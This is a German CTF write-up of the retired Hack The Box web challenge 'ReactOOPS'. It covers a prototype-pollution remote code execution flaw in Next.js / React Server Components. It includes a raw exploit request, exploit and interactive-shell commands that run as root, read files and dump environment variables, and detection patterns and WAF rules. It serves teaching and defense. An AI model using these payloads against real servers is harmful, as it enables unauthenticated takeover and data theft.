ReactOOPS – HTB Web Challenge Writeup

Autor: TheStingR – Team ISP1337Hackers
Challenge: ReactOOPS (Web)
Plattform: Hack The Box
Schwierigkeit: Sehr leicht – ZURÜCKGEZOGEN
Datum gelöst: 13. Dezember 2025

Inhaltsverzeichnis

1. Zusammenfassung
2. Challenge-Beschreibung
3. Schwachstellenanalyse
4. Aufklärung & Enumeration
5. Exploitation-Walkthrough
6. Flag-Extraktion
7. Technische Tiefenbohrung
8. Abwehr & Mitigation
9. Gelernte Lektionen

Zusammenfassung

ReactOOPS ist eine Web-Challenge, die CVE-2025-55182 / CVE-2025-66478 ausnutzt – eine kritische, nicht authentifizierte Remote-Code-Ausführung (RCE) in React Server Components und dem Next.js App Router.

Wesentliche Erkenntnisse:

• ✅ Server: Next.js 16.0.6 mit React 19 (verwundbar)
• ✅ Schwachstelle: Fehlende hasOwnProperty-Prüfung in der Flight-Protokoll-Deserialisierung
• ✅ Auswirkung: Nicht authentifizierte RCE mit Root-Rechten
• ✅ Ausnutzung: Ein einziger HTTP-POST-Request erforderlich

Challenge-Beschreibung

Ersteinschätzung

Die Challenge präsentiert eine ausgefeilte Next.js-Anwendung, die das NexusAI-Assistenteninterface bereitstellt. Die Anwendung scheint Benutzereingaben über React Server Components zu verarbeiten, doch subtile Unstimmigkeiten in der reaktiven Schicht deuten auf zugrunde liegende Schwachstellen hin.

Technologiestack

• Framework: Next.js 16.0.6
• React-Version: 19.x
• Bereitstellung: Docker-Container (Next.js standalone Build)
• Server-Port: 50183

Was macht diese Anwendung verwundbar?

Die Anwendung verwendet:

1. React Server Components (RSC) – Server-seitiges Rendering mit Client-Kommunikation
2. Flight-Protokoll – Serialisierungsformat für die RSC-Datenübertragung
3. Verwundbare Abhängigkeiten – react-server-dom-webpack ohne Sicherheitspatches

Schwachstellenanalyse

CVE-2025-55182 / CVE-2025-66478 Übersicht

Was ist das Flight-Protokoll?

Das Flight-Protokoll ist das proprietäre Serialisierungsformat von React zur Übertragung von Daten zwischen Server und Client in Server-Component-Architekturen. Es verwendet Referenzen wie:

• $1 – Referenz auf Objekt an Position 1
• $1:path:to:value – Property-Pfad-Traversierung

Die fehlende Sicherheitsprüfung

Verwundbarer Code in Reacts ReactFlightReplyServer.js:

// Zeile ~450: getOutlinedModel Funktion
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // Referenzen verarbeiten wie "$1:path:to:value"
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // VERWUNDBARE SCHLEIFE – KEINE hasOwnProperty-ÜBERPRÜFUNG!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← Erlaubt Prototyp-Ketten-Zugriff
        }
        return obj;
    }
}

Die sichere Version (wie es sein sollte):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('Ungültiger Property-Zugriff');
    }
}

Warum das wichtig ist

Ohne die hasOwnProperty-Prüfung kann ein Angreifer folgendes durchlaufen:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

Angriffskette

Schritt 1: Sende Referenz "$1:__proto__:then"
         │
         ├─ Zugriff auf myChunk[__proto__]
         └─ Dann Zugriff auf [then] auf dem Prototyp

Schritt 2: Erstelle gefälschtes Promise-ähnliches Objekt
         │
         └─ { then: schädlicheFunction }

Schritt 3: React führt await auf dieses Objekt aus
         │
         ├─ Ruft die .then()-Methode auf
         └─ Führt die Funktion des Angreifers aus

Schritt 4: Beliebige Code-Ausführung
         │
         └─ Code wird im Server-Kontext als Root ausgeführt

Warum keine Authentifizierungsprüfung?

Die Schwachstelle liegt vor der Next-Action-Validierung:

Request-Verarbeitungsablauf:
├─ Parse Multipart-Formulardaten
├─ Deserialisiere Flight-Protokoll  ← RCE PASSIERT HIER
│  └─ Referenzen und Objekte verarbeiten
│  └─ Keine hasOwnProperty-Prüfung!
├─ Extrahiere Next-Action-Header
├─ Validiere Action-ID         ← Dies kommt DANACH
└─ Führe Action-Handler aus

Indem der Angreifer während der Deserialisierung RCE auslöst, umgeht er alle Sicherheitsprüfungen auf Action-Ebene.

Aufklärung & Enumeration

Schritt 1: Erster Verbindungstest

# Prüfen, ob der Dienst antwortet
curl -v http://<IP>:PORT/

Erwartet: Next.js-Anwendung, die HTML mit aktiviertem RSC ausliefert.

Schritt 2: Technologie-Identifikation

Achte auf Indikatoren:

• Response-Header mit next--Präfixen
• HTML mit <script type="text/x-component">
• Vorhandensein von .next-Verzeichnisartefakten
• POST-Endpunkte ohne offensichtliche Authentifizierung

Schritt 3: Erkennung der Schwachstelle

Der zuverlässigste Indikator ist der Versuch eines Prototype-Pollution-Angriffs und die Beobachtung der Antwort:

# Zerstörungsfreies Erkennungspayload
# Sendet: ["$1:a:a"] referenziert {}
# Verwundbar: {}.a.a wirft Fehler → HTTP 500 + E{"digest"
# Gepatcht: hasOwnProperty verhindert Zugriff → kein Absturz

Exploitation-Walkthrough

Umgebung einrichten

# Navigiere zum Challenge-Verzeichnis
cd /Challenges/ReactOOPS

# Klone das react2shell-Exploit-Framework
git clone https://github.com/freeqaz/react2shell.git

# Stelle sicher, dass alle Skripte ausführbar sind
chmod +x react2shell/*.sh

Phase 1: Erkennung (zerstörungsfreier Nachweis)

Ziel: Bestätigen, dass der Server verwundbar ist, ohne Schaden zu verursachen.

cd react2shell

# Führe den Erkennungstest aus
./detect.sh http://<IP>:PORT

Was es tut:

1. Erstellt einen Multipart-POST-Request mit dem Header Next-Action: x
2. Sendet Payload: ["$1:a:a"] referenziert leeres Objekt {}
3. Auf einem verwundbaren Server: JavaScript versucht, auf {}.a.a zuzugreifen
4. Die fehlende hasOwnProperty-Prüfung verursacht einen Absturz
5. Der Server antwortet mit HTTP 500 und einem Error Digest

Erwartete Ausgabe:

[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Ziel: http://<IP>:PORT

[*] HTTP-Status: 500
[!] VERWUNDBAR – Server gab 500 mit E{"digest"-Muster zurück

[*] Antwort-Body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] Dieser Server läuft eine verwundbare Version von React RSC / Next.js

Interpretation:

• HTTP 500: ✅ Absturz erkannt
• E{"digest" in der Antwort: ✅ React-Fehlerbehandlungsformat
• Fazit: Server ist VERWUNDBAR

Phase 2: Remote Code Execution (Proof of Concept)

Ziel: Beliebige Befehlsausführung verifizieren.

# Führe den 'id'-Befehl auf dem entfernten Server aus
./exploit-redirect.sh -q http://<IP>:PORT "id"

Was es tut:

1. Baut ein Multipart-Payload mit Befehlspayload auf
2. Bettet den Befehl in die Prototype-Pollution-Referenz ein
3. Sendet POST-Request mit Next-Action: x
4. Server deserialisiert und führt den Befehl während der Verarbeitung aus
5. Gibt die Befehlsausgabe über eine HTTP-303-Weiterleitung zurück

Erwartete Ausgabe:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Wichtige Erkenntnis: Die Ausgabe zeigt uid=0(root) – der Webserver läuft als Root! Das ist eine Sicherheitsfehlkonfiguration, die die Auswirkungen verstärkt.

Phase 3: Informationssammlung

Ziel: Dateisystem kartieren und sensible Dateien lokalisieren.

# Aktuelles Arbeitsverzeichnis prüfen
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Ausgabe: /app/.next/standalone

# Anwendungs-Root-Verzeichnis auflisten
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"

Entdeckte Verzeichnisstruktur:

/app/
├── .next/                    # Next.js Build-Ausgabe
├── node_modules/             # Abhängigkeiten
├── app/                       # Anwendungsquellcode
├── public/                    # Statische Assets
├── flag.txt                   # ✅ ZIEL-DATEI (Modus 600)
├── package.json
└── tsconfig.json

Kritischer Fund: Flag-Datei existiert unter /app/flag.txt mit restriktiven Berechtigungen (600)

Phase 4: Flag-Extraktion

Ziel: Die Flag-Datei lesen.

# Flag lesen
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"

Ausgabe:

HTB{jus7_REDACTED_2025-55182}

✅ Challenge abgeschlossen!

Technische Tiefenbohrung

Aufbau des Payload-Struktur

Das Exploit erstellt ein Flight-Protokoll-Payload. So sieht ein Befehlspayload aus:

POST / HTTP/1.1
Host: <IP>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x

------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\"cmd\":\"id\"}",
  "_response": {
    "id": "1",
    "chunks": []
  }
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"

"$@1"
------WebKitFormBoundaryXXXX--

Deserialisierungsprozess

1. Multipart-Formulardaten parsen
   → name="1" → JSON-Objekt mit "then"-Eigenschaft
   → name="0" → Zeichenkette "$@1"

2. Referenzen verarbeiten
   → "$@1" bedeutet "Referenz auf Chunk 1"
   → chunk[1].value nachschlagen

3. Referenzpfad auflösen
   → Referenz: "$1:__proto__:then"
   → An Doppelpunkten aufteilen: ["", "__proto__", "then"]
   → Starte mit chunk[1]
   → Zugriff [__proto__] → zu Prototyp wechseln
   → Zugriff [then] → then-Methode aufrufen

4. Gefälschtes Promise erstellen
   → Objekt mit .then()-Methode erzeugen
   → Die Methode enthält den Befehlspayload

5. Promise .then() ausführen
   → React behandelt es als Promise-ähnlich
   → Ruft den .then()-Handler auf
   → CODE WIRD ALS ROOT AUSGEFÜHRT

Warum sich die Exploit-Skripte unterscheiden

Wir haben exploit-redirect.sh verwendet, weil:

• ✅ Ohne gültige Action-ID funktionsfähig
• ✅ Zuverlässige 303-Antwort
• ✅ Gute Sichtbarkeit der Ausgabe
• ✅ Keine Fehlerseiten-Interferenz

Abwehr & Mitigation

Für verwundbare Systeme

Sofortmaßnahmen (vor dem Patchen):

1. RSC deaktivieren, falls nicht benötigt

   root@kitploit:~

   // next.config.js
   module.exports = {
     experimental: {
       rsc: false  // React Server Components deaktivieren
     }
   }
   

2. Next-Action-Nutzung einschränken

   root@kitploit:~

   // middleware.ts
   export function middleware(request) {
     // Alle POST-Requests mit Next-Action ablehnen
     if (request.method === 'POST' && 
         request.headers.has('next-action')) {
       return new Response('Verboten', { status: 403 });
     }
   }
   

3. Netzwerksegmentierung

   root@kitploit:~

   # Nur vertrauenswürdige Quellen zulassen
   iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
   iptables -A INPUT -p tcp --dport 50183 -j DROP
   

Sofort patchen:

# Next.js aktualisieren
npm install next@latest

# Oder spezifische gepatchte Version
npm install [email protected]

# Versionen überprüfen
npm ls next react-server-dom-webpack

Für alle Systeme

Sicherheitshärtung:

1. Webserver nicht als Root ausführen

   root@kitploit:~

   // NICHT so:
   RUN npm start  // Als Root
   
   // SO:
   RUN useradd -u 1000 nextjs
   USER nextjs
   CMD ["npm", "start"]
   

2. Eingabevalidierung

   root@kitploit:~

   // Alle Flight-Protokoll-Eingaben validieren
   app.post('/api/*', (req, res) => {
     // Nach verdächtigen Mustern suchen
     const body = JSON.stringify(req.body);
     if (body.includes('__proto__') || 
         body.includes('constructor') ||
         body.includes('prototype')) {
       return res.status(400).send('Ungültige Eingabe');
     }
   });
   

3. Ratenbegrenzung

   root@kitploit:~

   // POST-Requests pro IP begrenzen
   app.post('/api/*', rateLimit({
     windowMs: 60 * 1000,
     max: 10
   }));
   

Erkennung & Überwachung

WAF-Regeln:

// Prototype-Pollution-Versuche erkennen
Wenn Request.Method == "POST" UND
   Request.Body enthält "__proto__" ODER
   Request.Body enthält ":then" ODER
   Request.Body enthält ":constructor"
Dann Alarm + Blockierung

Log-Überwachung:

# Nach verdächtigen Mustern suchen
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log

Verhaltensbasierte Erkennung:

// Auf ungewöhnliche Befehlsausführungen achten
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;

childProcess.spawn = function(...args) {
    console.log('[SICHERHEIT] Befehlsausführung versucht:', args[0]);
    // Richtlinienumsetzung implementieren
    return original_spawn.apply(this, args);
};

Gelernte Lektionen

Sicherheitslektionen

1. Eine einzige fehlende Prüfung = kritische Schwachstelle

   • Die hasOwnProperty-Sicherung wurde importiert, aber nicht verwendet
   • Eine Zeile fehlender Validierung führte zu RCE
   • Lektion: Code-Reviews müssen sicherstellen, dass alle Sicherungen tatsächlich verwendet werden

2. Prototyp-Kette ist gefährlich

   • Die Prototyp-Kette von JavaScript kann für unbeabsichtigten Property-Zugriff ausgenutzt werden
   • Der Zugriff auf Objekteigenschaften sieht harmlos aus: obj[key]
   • Lektion: Immer hasOwnProperty oder Object.create(null) für nicht vertrauenswürdige Eingaben verwenden

3. Deserialisierung vor Validierung ist riskant

   • Code wird während der Deserialisierung ausgeführt, vor Authentifizierungsprüfungen
   • Normaler Ablauf: Authentifizierung → Validierung → Verarbeitung
   • Verwundbarer Ablauf: Parsen → Code ausführen → Validieren (zu spät!)
   • Lektion: Niemals Code während der Deserialisierung nicht vertrauenswürdiger Daten ausführen

4. Standard-Prozessprivilegien sind wichtig

   • Der als Root laufende Webserver verstärkte die Auswirkungen
   • Kompromittierter Server = vollständige Systemkontrolle
   • Lektion: Dienste immer mit minimal erforderlichen Rechten ausführen

Ausnutzungslektionen

1. Zerstörungsfreie Erkennung ist wertvoll

   • detect.sh beweist die Schwachstelle, ohne Schaden zu verursachen
   • Ermöglicht dem Prüfer, die Schwachstelle vor der Ausnutzung zu validieren
   • Best Practice: Immer eine Erkennungsphase einbeziehen

2. Systematische Aufklärung

   • Begonnen mit Erkennung
   • Dann RCE-Nachweis
   • Dann Informationssammlung
   • Schließlich Flag-Extraktion
   • Best Practice: Nicht direkt zur Ausnutzung springen; zuerst Informationen sammeln

3. Die Technologie verstehen

   • Kenntnis des Flight-Protokolls half bei der Ausnutzung
   • Verständnis der Next.js-Architektur war entscheidend
   • Wissen über die JavaScript-Prototyp-Kette war unerlässlich
   • Best Practice: Vor der Ausnutzung den Tech-Stack studieren

Zeitleiste

Referenzen

Offizielle Dokumentation

• CVE-2025-55182
• CVE-2025-66478
• React Server Components
• Flight-Protokoll

Exploit-Ressourcen

• react2shell Repository
• EXPLOIT_NOTES.md
• PAYLOAD_REFERENCE.md

Verwandte CVEs

• CVE-2023-46805: React Prototype Pollution (ähnlich, aber anders)
• CVE-2024-4761: Server Component XSS

Anhang: Befehlsreferenz

Schnelle Exploitation

# Einzeiler-Exploit
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"

Interaktive Shell

# Vollständige interaktive Shell starten
./shell.sh http://<IP>:PORT

# Häufige Befehle:
id                    # Benutzerinfo anzeigen
pwd                   # Aktuelles Verzeichnis
ls -la                # Dateien auflisten
cat /app/flag.txt     # Flag lesen
cd /var/log           # Verzeichnis wechseln
download flag.txt     # Datei herunterladen

Informationssammlung

# Systeminformationen
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"

# Umgebungsvariablen
./exploit-redirect.sh -q http://<IP>:PORT "env"

# Laufende Prozesse
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"

# Netzwerkverbindungen
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"

# Anwendungsquellcode
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"